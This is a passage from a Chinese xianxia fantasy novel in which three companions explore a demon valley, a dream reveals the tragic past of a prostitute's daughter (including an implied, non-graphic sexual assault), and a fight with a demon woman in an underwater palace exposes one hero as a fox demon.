卢大哥:“好了,我不跟你们这些小孩儿计较,没劲儿!都抓紧了,我数一二三,就跳!”
“一——二——三……”
“诶等下……”三没说完,谢常安突然开口打断,可箭在弦上不得不发,卢大哥哪里会预料到她临时变卦,已经一个猛子扎了下去,转眼就消失在重重迷雾中,只听得一声声嘶力竭的嚎叫:“靠————”
“………………”
谢常安一下也傻眼了,感觉十分抱歉,望着悬崖下方自言自语道:“不是,我……咱这样我怎么感觉和自杀无异啊……而且这咱下去了能落在一个地方么,这不对劲吧……”
又看看身边根本没打算跳的沐念秋,“咱们现在咋办啊?也下去吗?沐师兄,你也不拉他一把的……唉,这叫什么事儿啊……”
“他上赶着找死,我自然拉不住。”沐念秋却嘴角挂笑,并不着急。
“沐念秋,你是不是不太喜欢卢大哥?为什么啊?”谢常安问。
“你想多了,看他不顺眼罢了。”沐念秋一脸无谓。
“……”
“喂——”山脚下传来一阵呼喊。
26. 墓碑
“你听你听,是不是卢大哥的声音——声音怎么是从这边传来的?他怎么跑外面去了?”谢常安拍拍沐念秋,挥手指着山下。
卢大哥是明明往栖霞山谷里面跳下的,可声音却他们来时爬上的一侧山脚下传来——也就是说,他不知为何出现在了山谷外,又回到了一开始的起点。
“卢大哥——你在下面吗——”谢常安也双手聚拢在嘴前,向下大吼着问道。
“我在——你们等下,我爬上去——”
又一个时辰后——
“呼哈……呼……”卢大哥气喘吁吁凭借过人的毅力和惊人的体力爬了上来,一屁股趴倒在地上,“累死我啦,我要累吐了,呕——”
谢常安眼疾手快急不可耐,一把扳过他的肩膀,“你先别吐卢大哥,等你半天了,快说说怎么回事啊!”
“咳咳咳咳咳——”卢大哥没吐出来,又一阵猛咳,眼冒金星几欲吐血,被晃得好容易倒过口气来,忙不迭解释道:“我知道……我全明白是怎么回事了……”
卢大哥:“根据我的推断,这底下有个复杂的传送结界,从上面下去的人会像我刚才一样,自动被传到谷外,太可恶了!”
“那……”
“那也没关系!哼哼,我自有妙计——”
“卢大哥,都这时候了,你又有什么妙计,就别再卖关子了!”
“你们看这是什么——这是我祖传的宝贝,来都喷一点儿,滑不留手,包管能穿所有结界!”
谢常安:“这么厉害,真的假的?”
卢大哥急道:“自然是真的,我什么时候骗过你们!只不过……”
“不过什么?”
“不过喷上只管五秒钟,一定要快点跳啊!”
“什么!”
“……”
话音未落,药已喷好。
“快随我跳!”
“不是……”不容多想,二人只得随着姓卢的一跃而下。
细密的水珠仿佛在周身结成了一层光滑的薄膜,谢常安感觉到了一阵失重的眩晕和一瞬间的挤压感,等再睁开眼睛的时候,自己已经落了地。风絮草静静落在一旁,周围是一片怪石嶙峋,云雾缭绕看不清远处和头顶,四周的空气景物透露出一股灰败的气息。
她站起身来——果然和其他两人没落到同一个地方,拍了拍裙摆上的土,打量起了四周。
不远处有个山洞,她捻起一个火诀,小心翼翼走了进去。洞口不深,外面的光线本就不足,再加上照不进来,里面十分昏暗。
“谁!”
谢常安一进洞就立马听到了一声细微的喘息声,几乎淹没在凝滞的空气中,她警惕起来。
“是我,别怕。”
“沐念秋?!”
“嗯。”
“真的是你吗?”
“是我。”
“你怎么在这?里面有什么吗?”
一听里面的人是沐念秋,她一下松了一大口气,大步流星跑了过去,没注意到脚下,被什么东西绊了一下。
“啊!”
正要摔倒,沐念秋却早已几步迎了上来,好像早知道这里有什么一样,稳稳接住了她。
“慢一点。”
“哦……这是什么?”
谢常安站稳身子,浑不在意,发现脚边许多大小不一的石块,再往前,石块堆旁是一个墓碑,看样子不算新,墓碑前插着一束鲜花,虽不明贵却鲜妍美丽,是整个山谷难得的一点生机。
“上面有字。”沐念秋也蹲下身来,借着小小的火光看起了眼前年久的墓碑。
或许是时间过久,墓碑上刻的字迹已有些无法辨认,谢常安本以为这碑上应该会刻一些自己看不懂的妖族的文字,可离近一看,上面竟然刻的是人类的文字——这是一个凡人的墓吗?
为什么这里会有人类的墓碑?是谁在这里立了一块儿碑呢?
“什么……春生,这是……”谢常安细细辨认。
“应该是墓主人的名字。”沐念秋道。
名字下方简单记录了一下墓主的生平,经辨认,上面写的这人一生可以说是命途十分多舛。
这个春生,家境贫寒却才华横溢,年纪轻轻连中三元,进入官场后短短三年一升再升,颇受器重,一度炙手可热权势滔天,可以说是人生顺风顺水。接着往下看去,石碑上的字迹一大片模糊,后面的内容无法辨认,再后来,不知发生了什么,记录着他全家获罪而死,春生也没能逃过一死,享年二十八岁。
“这个春生,真是厉害,年纪轻轻就官居高位,一定聪明极了,太可惜了,就这么死了……沐师兄,你说他是为什么获罪?”谢常安啧啧称奇,叹息不已。
“木秀于林,树大招风,或许是他风头太盛了。”沐念秋不置可否,站起身来,又细细看了眼墓碑,“奇怪……”
“是很奇怪……”谢常安摸了摸脑门,附和道:“这墓主显然是位中原人,为什么会葬在这儿呢?”
“走吧,先去别处转转。”
“好,也不知道卢大哥掉到哪去了……咳咳。”谢常安站起身来,没由来的一阵眩晕。
“你怎么样?”沐念秋贴上来扶住她问道。
她甩了甩脑袋,摆手道:“我没事,刚才蹲久了,可能是起猛了。”
他还要说什么,却只见洞外白光一闪,一个影子飞快地飘了过去。
“什么东西……是我看花眼了吗?”谢常安揉了揉眼睛,不十分确定自己是不是看错了。
这个地方阴恻恻的,身后是一座不知名的墓碑,眼前是迷雾重重毫无生机的山谷,那刚刚飘过去的……该不会是什么东西的鬼魂吧?
“噫……”她不敢再细想下去,悄悄往沐念秋那边靠近了一点,言不由衷道:“咱们……咱们快追出去看看吧!你笑什么?”
两人追出洞口,那白影远远消失在雾气中,不见了踪影。
“你说刚才那是啥啊,这地方不像是会有活物的,我说卢大哥自己一个人在这种地方真的没问题么?咱现在咋办呀,这里死气沉沉几乎空无一物,一点头绪都没有啊…
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…”谢常安絮絮叨叨给自己壮胆,挨着沐念秋四下张望,拿不定主意。
“他没事,别管他了,咱们去找那白影去,这里一定发生过什么,不可能一点痕迹不留的,走吧。”他说罢牵上她的手,偏过头去,“这儿雾越来越大了,咱们别走散了。”
“哦哦好,你说的太对了。”谢常安拉紧了他的手,只觉他的手又大又温暖,她定了定神,突然感觉脚踏实地,周遭一切风雨都消失了,心下一阵安定。
“……你手怎么这么凉?冷吗?”沐念秋握紧了她的手。
“啊?我不冷的……我就是常年这样,没事我都习惯了。”
沿着白影消失的方向走去,抬眼望去,山峰连着山峰,怪石挨着怪石,间或几颗枯树从石壁间伸展出来,枝杈横斜乱生,说不上的扭曲怪异。
-
又走出很远,仍旧不见四周景物有什么变化,雾气不知何时越来越浓,两人牵着手都几乎看不清对方的脸,谢常安捂住口鼻,“这雾能吸么?不会有问题吧?诶,这棵树……咋这么眼熟,刚才不会见过吧……”
沐念秋面色一沉:“……还真见过,咱们怕是在兜圈子。”
“鬼打墙吗……刚才不会是真见鬼了吧?”谢常安想起那白影,那墓碑,浮想联翩,在脑子里构思出了一出鬼魂作祟的大戏。身旁沐念秋的身影也几乎消失在雾气中,变得淡淡的,看不真切,她索性挽住他的胳膊,“你千万不要担心,也不用害怕,能遇到问题其实是好事,说明咱们来对地方了,你看果不其然,这地方果然是有问题!”
耳边传来一声轻笑,紧接着是沐念秋从容的声音:“好,有你在我不害怕,看来有人在此故弄玄虚,想把我们困住。”
“困在这里做什么?”
“我猜这里有见不得人的东西。你不妨探知一下此处的灵力波动,与其说是鬼打墙,不如说这里有人布下了一个阵法,阻止外来者再向前——找到阵眼,或可破阵。”
“你说的太有道理了!”
闻言谢常安凝神静气,单膝跪地,灵力汇于指尖,轻点在地,她闭上双眼,只一瞬一圈细微的灵力自指尖荡开,仿佛平静的水面泛起涟漪,却带不起一丝微风,周遭的灵力波动在她的脑海里绘制成型。
半晌她挣开双眼,收手起身,平复调息,眉头紧锁道:“这阵法,无边无际……”
沐念秋又拉起她的手,拍了拍她膝盖上刚沾的土,“你的意思是?”
“这个阵法里处处都是灵力波动,太奇怪了——一般的阵法不管是什么功效,各点的灵力感应应该是不一样的,有强有弱,可以根据强弱不同来判断阵眼所在,进而破阵。可是我刚刚探知,这个阵法,处处灵力强弱完全一样——更奇怪的是,它甚至没有边际,我探知不到它的范围有多大,它……绵延不绝,无穷无尽……”
“……先别着急,相信你自己的感觉,除此之外呢,还有别的发现吗?”
谢常安镇定下来,仔细思索一阵,突然转头看向他,“有的!我还感受到了……妖气。”
27. 木梳
自阵法深处传来一阵极细微的妖气,细微到谢常安都以为这是自己的错觉,沿着这细微的妖气找去,两人最终停在了一处方才已经过多次的小石台旁。
石台上静静地躺着一把泛黄的旧梳子。
沐念秋捡起木梳,原先精美的雕花已被磨平,梳齿断裂了几根,看不出本来的颜色,可就这样每一丝裂纹,每一处磨损,都透露着一股哀婉动人的气息。
一丝一缕书写着锦绣年华,一点一滴记录着韶华不负。
谢常安看得出神,不禁伸手轻抚木梳,“沐念秋,你看这梳子,是不是……”
话还没说完,她只觉一丝若有似无得妖气自指尖缠绕上来,她的意识就在这轻轻拨动的一瞬间被夺走,那一点点妖气千丝万缕缠绕上来,把她拉入了一个光怪陆离的梦境之中。
-
-
“砰——”
器物摔碎的声音响彻整个房间。
“臭婊子!老子上你这儿是消遣来的,给你脸了,敢给我甩脸子?我呸!”
床上的女人衣衫不整,发丝凌乱,脸上浓妆花了大半,手腕上道道红痕触目惊心。
她脸上却看不出一点儿害怕,一抹脸,冷笑一声,悠悠从床上爬起,随手拢了拢半遮半露的领子,“哟,您犯不着和我一个婊子置气,你来我这儿是寻消遣,我干这个可是为了钱,我一个女人家,只求您多包涵。”
“哼,”男人扔出几枚铜板,提上裤子就要出门。
那浓妆女人快步拦下,“八文,一文不能少。”
“你当你还是黄花大姑娘啊,敢给我多要钱,快滚,老子一分没有!”说着一把推开女人,推开门扬长而去。
门口站着一个半人高的小女孩,没留神,被开门的男人撞了个人仰马翻,男人看也不看她,鼻歪眼斜骂道:“婊子养的小废物,滚远点,别挡道听见没有,一天天神经兮兮的……”
小女孩拍拍土揉揉腿,也不哭也不闹,自己站起来走进房间。
“娘,你没事吧……”
屋里的女人匆忙转过头去,似乎是擦了把眼泪,再回过头来已是一副恶狠狠的表情,她面色阴沉,一身怨气,大红的嘴角耷拉下去,厚厚的白粉也掩盖不住眼角的皱纹。岁月终究是败了美人,她用力钻了钻手心,十个长长的红指甲几乎剜进肉里去,片刻后又松了松,向梳妆台上一指。
梳妆台上静静躺着一把红色的木梳子。
“小拖油瓶,过来,给我梳头。”
小女孩听话地跑去拿起梳子,木梳子上雕刻着栀子花纹,清丽典雅。她一点点小心地梳着女人的长发,小小的双手有些吃力地拢着满头青丝。
见她听话,女人似乎心情好了一点儿,哼起一首小调,小调不知来自何方,听起来温柔缱绻,像是闺阁里的小姐们唱的,“去把地扫了。”
小女孩乖乖地去清扫地上的碎片,女人不再管她,自顾自地对着镜子发起呆来,哼起一段儿旖旎的小调儿。
“春水流,秋悲愁,南来燕,北莫留……”
女人眼眸低垂,掩去了方才的哀怨,蹙眉低头,颇有几分镜花水月的风味,看得出年轻时是个美人。
小女孩似是已经习惯了母亲的喜怒无常,小小的年纪已早早学会了看人脸色的本事,她把自己伪装成了一团空气,默默把屋子收拾干净,见母亲没有一点要清醒的意思,又悄悄退出房间关上房门。
外面春暖花开,阳光正好,照在身上暖融融的,她从屋檐下取了一顶草帽戴上,走出院子,沿着村里人少的小路一个人来到了河边。
正值晌午,河边已站着一人,七八岁的年纪,穿的干干净净,正在往河里扔石子打水漂玩。听见身后的动静,他一转头,挥挥手。
“小枫,快来,你看!对岸有一群鸭子!”见她来,男孩高兴地拉起她的手,指着对岸的草丛。
小枫任他拉着,没看清草丛里是不是有鸭子,“陆哥哥,你中午不回家,你爹娘不担心你吗?”
“当然不会,嗐,我爹又出去捕妖了,我娘……你知道的,她哪有时间管我?”
小男孩不耐烦道:“别说这个了,你娘又没给你做饭吃吧,给你这个!”说着,他从衣襟里摸出一个小包裹,打开是一块温热的烤饼。
她听着陆哥哥抱怨着家里的锁事,一小口一小口地低头吃着手里的手里的烤饼。
“你的草帽太单调了,小女孩哪有戴这个的,插上鲜花就漂亮啦!”说着,他从地上揪了几朵各色的野花,编成一个花球,斜斜插在她的草帽上,“怎么样,喜欢吗?”
“谢谢你,陆哥哥,真好看,我很喜欢。”小枫露出了一个天真的微笑,可没一会儿,她又不笑了,认真地说:“陆哥哥……村里人都看不起我……和我娘,要是让你爹娘知道我们见面……会不开心的。”
“那又如何,村里人说的我都不信!你放心,我爹娘不会知道的,我们永远是最好的朋友!”小男孩正是爱逞能的年纪,雄赳赳气昂昂地一拍胸脯保证道。
“好。”小枫眼睛亮晶晶的,“陆哥哥永远是小枫最好的朋友,一百年一千年,不许变。”
-
河边的景象转瞬模糊起来,梦境变得支离破碎,像是一面被打碎的镜子,散落满地,又拼凑成章。
再睁眼,眼前的场景已然变了,梳妆台上的红梳子已经褪色,栀子花的纹理也已不再清晰,泛黄的铜镜前映照出一个熟悉又陌生的面孔——三分像从前那个浓妆艳抹的疯女人,剩下七分鲜妍年轻的清不见底。
同样的屋子,推门进来不同的男人。
镜前的小枫转过身来,见到来人,嘴角僵了僵,脸上讨好的假笑顷刻间荡然无存,“怎么是你?你还来干什么!”
门口的男人关上了房门,一步一步走近,随手掏出一锭银子放在桌上,“你说我来干什么?”
沉默片刻
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,小枫冷笑一声,目光灼灼盯着眼前的男人,拿起桌上的银子用力往地上一丢,“你走吧,我不想见你。”
“怎么?他们行,我不行?”男人也不甘示弱,又靠近两步。
“对,就是他们行,你不行。”小枫直视他的眼睛,一字一句道。
“呵呵,事到如今了,你还装什么清高?怎么,真当自己是千金小姐么,你和你母亲一样……”
“够了,别说了!”小枫大吼道,胸口起伏喘息,像是在努力克制自己的情绪,仿佛隐忍着极大的痛苦,“陆哥哥,你怎么会变成这样……”
男人仿佛听到了什么好笑的事情,眼底露出一丝嘲讽的笑意,“我为什么?你怎么不问问你自己干了什么,是你先骗我的!”
“……我没骗过你。”小枫偏过头去,不为所动。
男人出离愤怒,接着自顾自地大喊道:“你当我是什么!你难道以为我会娶一个……一个娼妓吗?你和你妈一样……你和你妈一样!都是骗人的,你们都在骗我!”
小枫忍无可忍,心脏一揪一揪的疼的要命,她一刻也待不下去了,甩开儿时唯一的朋友,几乎慌不择路,向屋外跑去。
“陆哥哥”却不打算放过她,他快步追上来,一把抓住她的肩膀,把她按倒在床上,纷乱的脚步下,那一锭银子早不知道被踢到何处。
小枫拼命挣扎着,眼角溢出绝望的泪水,耳边只听到陆哥哥同样绝望又疯狂的喊声。
“凭什么,凭什么?都是你欠我的,都是骗人的……我花了钱,我给你这么多钱,你就得陪好我……”
她感觉有什么东西碎掉了,那是她心里最后一点希望,为什么这一切全要她来承担,世界上本应该最爱她的母亲伤害她,她唯一的朋友也背叛她,她仅仅闭上了双眼,不再挣扎,任凭一切把她拖向绝望的深渊……
-
黑暗吞噬了眼前的一切,梦境如同海市蜃楼,转眼分崩离析,谢常安拼命睁开沉重的眼皮,谁在叫她?她是谁?是无依无靠的可悲妓女,还是有家难回的漂泊孤女?
是浮萍,是游丝?是谁的悲伤,是谁的愁肠?
她如同溺水的人一般,被浓浓的窒息感和失重感包围,周遭的声音忽远忽近,模糊的字句如同蜂鸣,她身上忽冷忽热,头痛欲裂,终于失去了一切力气,任凭千万只手将她向下拖去。
不知在黑暗中沉睡了多久,她的耳边传来一阵轻轻的歌声,如同雪山之巅冰川消融,意识渐渐回笼,四肢百骸暖融融的,身体像是被一团棉花包裹着,轻飘飘的柔软又温暖,自己这是在哪?
“常安,醒醒……”谁会这么叫她?是师父吗?熟悉的声音,让她想起了初春的玉衡山,坐在山顶,漫山的花海,漫天的星芒……
是幻觉吗?她深吸一口气,慢慢睁开眼睛,入目的是深邃璀璨的星空,风仿佛自旷野吹来,她微微一动,迷茫地睁开眼睛。发现自己正躺在一个人的怀中。
28. 宫殿
“……沐师兄?”
似乎是感受到怀中的人醒来,沐念秋收回了目光。
“我这是怎么了……你一直在给我输送灵力吗?这是哪里?现在是什么时辰了?”谢常安低头看去,一只手正搭在自己身上,手心溢出一点温暖的白芒,正源源不断地在输送灵力。
“我没事了,你不用再输了……”
“你在发烧,咱们还在山谷里,放心,这里应该很安全。”沐念秋并没有停下手中的灵力。
“我怎么会发烧……卢大哥呢?找到他了吗?”谢常安身上披着他的外衣,从他怀里坐起,靠着石壁和他并排坐下。
沐念秋没回答,只是开口道:“我以前来过这里。”
“什么?”
“小时候我母亲带着我来过一次。”沐念秋淡淡地讲道。
“你母亲?”谢常安睁大了眼睛,这是她第一次听他讲起自己的家人,她知道他不愿和旁人提起小时候的事,从前,她都是刻意避开这些,他不说,她也知趣地不多问,现如今,他们远在他乡,两人生出点儿报团取暖的惺惺相惜来。
她偏着头默默地听着他说。
“在我很小的时候,从我有记忆起,我和母亲就一直被关在院子里,直到有一年的秋天,我大概三岁,还是四岁,我记不清了,她带着我从沐家偷跑出来过一次,来这里找我的父亲——一个女人自己带着一个小孩来这么远的地方,一路上自然是不容易。”
“那然后呢,你们找到了吗?”谢常安和其他人一样,并不知道当年的沐听涛究竟是和谁生下的沐念秋。
“没找到。不知道为什么,我父亲没来赴约,我和母亲在这里等了他三天,白天漫山的红枫映着彩霞,山壁上到处是闪闪发光的宝石,晚上,也是这样好的星空,吹来的风都是自由的,我母亲就这样把我抱在怀里给我唱歌。那是我小时候最快乐的时光。”
谢常安没问他父亲为什么没来,她刻意避开了父亲这个话题,“真好。你知道吗,我听说人死后会变成星星挂在天上,对着星星许愿,死去的亲人就会保佑我们愿望成真。”她眺望着头顶一望无际的星空,“我希望,你以后的日子,都能顺顺利利,开开心心!”
沐念秋目光温柔如水,倒映着一片澄澈的星海,“好,你也是。”
星芒璀璨,月凉如水,他们谁也没提缥缈的前路,只有一搭没一搭地聊起从前的趣事,直到互相依偎着不知何时沉沉睡去。
-
“可算找到你们啦!”
谢常安还在睡梦里,就被一阵大力摇醒。“快起来快起来,别靠他身上睡了……”她被晃了个七荤八素,体验了一把肝肠寸断,睁眼一看,居然是卢大哥不请自来。她烦躁地摆摆手,赶苍蝇一样挥开摇晃她的双手,差点打到卢大哥脸上。
“我没死呢,别晃了……”
卢大哥果然不晃了,“快过来快过来!”
“干嘛!”她扶着沐念秋站起身来,把外衣还给他,叹了口气跟了上去。
卢大哥道:“啧,这湖水有问题!”
谢常安喃喃道:“有吗?有什么问题?”
沐念秋却像是发现了什么,蹲下身去,拿指尖点了一点湖面,随着湖面泛起一阵细微的涟漪,谢常安也敏锐地感觉到了所处空间内一点细微的波动,空气中传来一瞬间的微不可查的抖动,不仔细感受是完全注意不到的。
“这是怎么回事……话说卢大哥你昨天掉下来之后上哪去了,刚才是怎么找到我们的?”谢常安清醒了几分,先是想起来问起卢大哥的去向。
“我……说来话长,先不说这个了,我能找到你们全凭巧合,但是这个湖,确实不一般啊,你们有没有感觉到?它和咱们头顶的阵法是连着的啊!”他眼神滴溜溜一转,“我敢打包票,咱们从这儿跳下去,包管……”
“又跳?!”没等他说完,谢常安鄙夷道。
“你别不信,我是有依据的,我全明白了,我全明白了!难怪传闻说有人在暴雨倾盆的时候看见山谷里鬼门大开阴兵过道……是这个湖,就是这个湖啊!”
“卢大哥,你慢慢说。”
“这个湖才是这里大阵的阵眼,只有下雨的时候,湖面受到波动,阵法不稳,外面的人才能看见谷里的景象!”
“有道理啊……你说呢,沐……兄长。”
“快跳快跳!”卢大哥已经急不可耐,没等二人回答,他趁其不备,一把将谢常安推下水,紧跟着自己也跳下水去。
“……”
沐念秋见人都已入水,无可奈何,只得赶紧跟着跳下水去,向着谢常安得方向游去。
谢常安刚醒没有一刻钟,转眼就莫名其妙地被人推下水,知道这姓卢的行事作风诡异,却没料到他这么的不靠谱,无语极了。
一入水她赶忙闭气调息,施了个避水诀,随着暗流下潜了十几米,才缓缓睁开眼睛。
水底不似岸上那般死气沉沉,四周有游鱼游过,远远可见湖底有点点亮光,看不真切。
沐念秋不知什么时候已跟了上来,此时漂在二人中间挡着,卢大哥被他挤到一边,挥了挥手,示意二人跟上,三人就这么稀里糊涂地向湖底更深处游去。
水下的世界比想象中的美轮美奂多了,他们穿过五颜六色的发光珊瑚,两人高的水草曼妙漂浮,各种没见过的小鱼小虾往来穿梭,整个湖底就像一个童话世界,散发着梦幻的泡泡。
“这里太漂亮了……妖界都这么美吗?”
“别看了,跟我来!”卢大哥催促道。
“这边吗?”
“反了反了,是这边!”
“哦……可是……”
“怎么了?”
“前面……是不是有东西?”
“什么东西?”
“好像是……漩涡!”
“啊啊啊啊啊啊,快回头快回头啊!”卢大哥大叫,四肢并用,拼命扑腾。
“什么?!怎会如此啊!”
三人一瞬间被卷入到一股力大无比的漩涡当中,沐念秋这次反应极快,一把拽过谢常安,为避免被冲散,将她拉入怀中,两人在湍急的水流中紧紧相拥,一路上不知道撞到多少一起被卷入漩涡的东西。一阵天旋地转后,再睁眼已到了一处房室——与其说是房屋,不如说更像是一处宫殿。
宫殿设了避水的结界,全然不像在水里,殿内各处陈设清新典雅,空气中有淡香飘来,似乎住着一个女人。殿中四根立柱雕刻着精美的花卉纹样,帷幕多用柔软的鹅黄色,整个宫殿看起来明亮又温暖,处处透露着考究和精致。
大殿当中,一个半人高的玉台上端端正正放着一口水晶棺材,不用细看就知绝非凡品。
这棺比普通的棺材要小一圈,一靠近可感觉到,整个台子散发出阵阵寒气。
谢常安打了个哆嗦:“怎么又是棺材……”
走近一看,棺中躺着一名一动不动的女婴,面色红润健康,神态安详自得,看着就像是睡着了一样。
“沐师兄,昨天咱们捡到一把梳子……”
“嗯。”沐念秋回道。
“我做了个梦,梦里……有个女孩子,她很可怜,她……”谢
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常安努力回想,把梦中的情景讲给了沐念秋。“我……我好像还听见有人唱歌给我听,是你唱的吗?”
沐念秋听着,先是沉默不语,听到一半又把头偏去,举起手又放下,接着绕着棺材走了一周,轻轻把手放在水晶棺上,水晶棺触手冰凉,“这里处处……”。
话未说完,忽的棺中的婴孩突然直直地睁开了眼睛。
“这孩子……是活的?”
谢常安吓了一大跳——这孩子睁眼的动作急促又诡异,好像一个没有灵魂的人偶,更奇怪的是,孩子赫然长着一双淡金色的瞳孔,妖冶得不像人类。
她睁开眼睛,全然没有了刚才的安详可爱,目光呆滞,不见悲喜,眼珠一轮,张嘴便尖声啼哭起来。
“怎么办,先躲一躲?”谢常安手忙脚乱。
“来不及了。”
“轰——”
大殿上方翻滚着出现一个黑色的巨大漩涡。
霎时间四周震荡开来,破空声如穿云霄,大殿里空间波动,层层黑雾如跳动的火焰般翻滚燃烧,谢常安挥袖挡在身前,在半空甩出一扇护盾。
只见黑雾中走出一名妖气森森的女子,一头墨发如瀑,一身华丽的黑袍将她惨白的皮肤遮了个干净,只露出雪白的脖颈和细长的手指。
她脸上不见一点血色,皮肤轻薄如纸,隐约可见皮肤下青色的血管,一双金色的竖瞳如野兽般危险,神性夹杂着妖冶,一出手就是来势汹汹。
女妖身法诡谲至极,一步未出,转眼却已至二人身前,全然无视谢常安打至半空的护盾。翻涌的黑雾在她身后合拢收缩,所到之处带起一阵刺骨的寒冷——那是死亡的冰凉夹杂着血液的腥甜。
她手指一点,一阵可怕的大力袭来,一下子将谢常安吸了过去,细长的手指就要握住她的脖子。
“啊啊啊沐念秋救命啊!!”
沐念秋抽出腰间佩剑,身法也是极快,一个漂亮的斜刺挥剑刺向女妖的手臂,那女妖见他刺来,又是大手一挥,直将谢常安摔至一旁,又是一阵黑雾,转眼已至沐念秋身后。
谢常安就地打了个滚,再起身只见女妖如鬼似魅的身影,瞬移至沐念秋身后,一掌毫不犹豫地就要击出。
“沐念秋!!”她大喊道。
女妖不知使了什么妖术,身形快的异乎寻常,沐念秋根本没有时间反应,已是躲闪不及,将将回身,迎面就是一记重击,掌风中夹杂着刺骨的寒气,直劈向他命门。
千钧一发之际他抬臂一挡,那寒冷顺着他的手臂顷刻渗入他的骨缝,他飞出三丈,将将稳住身体,捂住发麻的手臂。
那女妖却是毫不留情,招招全是杀机,整个大殿空间震荡,沐念秋左支右绌,眼见就要躲闪不及。
两人打得昏天黑地,高手过招招招致命,谢常安心急如焚却插不进战局,眼见沐念秋渐渐落入下风,稍有不慎性命危在旦夕,她没办法再保持冷静。
这个女妖是从他们误碰水晶棺,导致婴儿啼哭时才突然出现的……也就是说——这大殿正中的水晶棺才是她的目的!
谢常安不多犹豫,趁二人缠斗得难舍难分,绕着立柱悄无声息地跑到水晶棺侧,一秒不停留抬手成诀。
“离火!”
眼见火起,那棺中婴孩面孔愈发扭曲,爆发出一声非人般的尖叫。
“哇啊——”
女妖见状,却是出乎意料的暴怒,整个大殿转瞬间都被那寒冷的黑雾笼罩,谢常安只觉一阵疯狂的杀气裹挟而至,一秒都不及反应,那锋利的指甲已划向她脆弱的脖颈,就要给她来个人首分离!
29. 风筝
正当她以为自己大限将至,身前却是一阵可怖的冲击袭来,只见沐念秋已挡在她身前,硬生生接住了这致命的一招,他的发冠已乱,一头长发散落在后背,随着那杀气逼人的黑雾凌乱纷飞。
他浑不在意地吐出一口鲜血,任凭鲜血滴落在自己胸前,一双琥珀色的眼眸亮的吓人。
女妖显然没想到他能挡下这一击,惊愕地后退了几步,随及竟玩味地一笑:“你是妖?”
沐念秋头顶一双白色的狐耳,獠牙和利爪也长了出来,瞳孔的颜色更浅了,一双桃花眼映衬着琥珀色的瞳孔,周身妖气逼人,面色冷峻,眼角眉梢皆是杀意,全然不见从前那些或温柔或可靠的样子。
异变突生,谢常安刚捡回一条命,又见到他这幅宛如杀神一般的样子,一瞬间竟觉得陌生极了,呆在了原地,不知作何反应。
可她一转眼又看见他嘴角胸前点点血迹如梅花泼墨,刺目极了,忍不住担心得要命,一颗心高高揪起,一双手不自觉地攥紧了拳头。
沐念秋不知道她这边的百转千回,这女妖修为极高,不知道是修习了什么邪术,这大殿内的时空法则仿佛都在她的掌控之下,实在难缠得紧,他一刻不敢松懈,稍有不慎可能就是粉身碎骨。
自己强行爆发对身体的负担极大,可如果在这里倒下,就是前功尽弃死无葬身之地,更何况,自己的身后还有……
这女妖浑不在意妖力的流失,招招大开大合,妖力如同取之不尽用之不竭般肆意,抬手就是一阵疯狂的狂轰滥炸。
偌大的宫殿此时也显得狭小了起来,精美的雕梁画栋哪里经得住这样的冲击,砖石碎瓦扑棱棱地往下掉。那女妖却是浑然不觉,仍是失去理智般地进攻,眼底杀气四溢,每招每式都毫不留手。
“轰——”
又是一阵巨响,这宫殿终于是经受不住这般折腾,彻底塌了。
谢常安赶忙撑起一个护盾丢到沐念秋头顶,以防他被落石砸到。
女妖终于顾不上打斗,疯狂的脸上出现了一丝惊慌,转身就要向冰棺处飞去。
说时迟那时快,只见一个人影闪出,速度也是极快,似乎是蓄谋已久早有准备,转眼就将那冰棺卷了走。
“什么人!”
见冰棺被人抢走,她再顾不上杀人,顷刻间已是方寸大乱,破绽百出,竟是发了疯似的追了上去,全然不顾自己将后背毫无保留地留给了敌人。
沐念秋却没有再出手,那充斥着整个空间的黑雾随着女妖一起,转眼消失殆尽,他整个人似脱力般跪倒在地。
谢常安赶忙上前扶住了他,一脸关切,“沐念秋!沐念秋!你怎么样?”
沐念秋一点儿力气都没有了,软软的靠在谢常安的肩上,一言不发。
谢常安担心极了,想起方才那昏天黑地的战斗,又想起他吐了那么多的血,怎么可能没事?
一路上他都是沉着可靠的样子,从不见他有应付不来的事情,仿佛只要他在身边,就没有解决不了的麻烦,可现在他这幅虚弱的样子完全不像是演的。
谢常安害怕极了,她不敢想自己失去他该怎么办,慌慌张张地搂紧了他的身体,灵力跟不要钱似的往他的身体里送去。
“……咳,没用的……”沐念秋道。
“怎么会没用呢?师父……师父明明教过我……”谢常安手都在发抖,她没见过他流这么多血,声音里不由自主地带了哭腔。
“好了,我没事,扶我……扶我到那边坐下来,你快勒死我了……”沐念秋拍拍她颤抖的手臂,虚弱道。
“哦……对不起,呜呜……”谢常安松开他,擦了擦眼睛,扶着他到一旁的空地上坐下来。又小心翼翼地问道:“那怎么办呀,妖族是不是不能输送灵力呀,我忘了……我不会给妖治病,我……”她不知所措,只能拿自己的袖子帮他擦着嘴角脸上的血迹。
“我真的没事。”沐念秋牵起她的手,眉头微蹙,似乎在忍受着极大的痛苦,嘴角却是一抹不易察觉的浅笑,不动声色地靠在她身上,状若无意地拿耳朵蹭了蹭她,故作虚弱地又是一阵咳嗽。
“沐念秋,沐念秋……你别吓我……”
看她嘴角又耷拉下来,他才悠悠地说:“帮我拿一下……”
“什么?”
“我胸前有一个白色的瓶子,你看看有没有……”
“嗯嗯,好!”谢常安听话地顺着他胸前衣襟摸去,“没有呀?”
“你再仔细摸摸,咳咳……”
“哪里呀?”
“里面,里面。”
谢常安又一阵摸索,终于摸出了一个手指长的瓷白色小瓶子,“好像有点眼熟……”,她左看右看觉得在哪里见过,正当她感觉自己快要回想起来的时候,沐念秋又一阵猛烈地咳嗽打断了她的思路。
她赶紧拍了拍他的胸口,“拿出来了,是这个吗?要吃几粒?”
“一粒就行。”
吃完药后,谢常安又陪着他坐了一刻钟,她很想问一问,刚才他怎么会突然变了模样,又怎么会突然挡在她身前。
她觉得自己很矛盾,一方面感觉自己好像并不了解沐念秋,不知道他的身世,不知道他身上的秘密,也没有充足的立场去过问他的从前;另一方面她又不自觉地越来越依赖他。
她不知道自己这样正不正常,不知道从什么时候开始,她开始习惯有他在身边的日子,有他陪着,这一路的困难和磨难好像都变得不值一提了。
“刚才谢谢你啊沐师兄……要不是你挡在我前面,我现在肯定嘎嘣死了。”谢常安心事重重地嗫嚅道。
“那你想怎么报达我?”沐念秋吃过药,不出一会儿,已经几乎恢复成了人类的样子。
“啊?”
谢常安没想到他会这么说,哪有人会这样“挟恩图报”的,也太直白了!
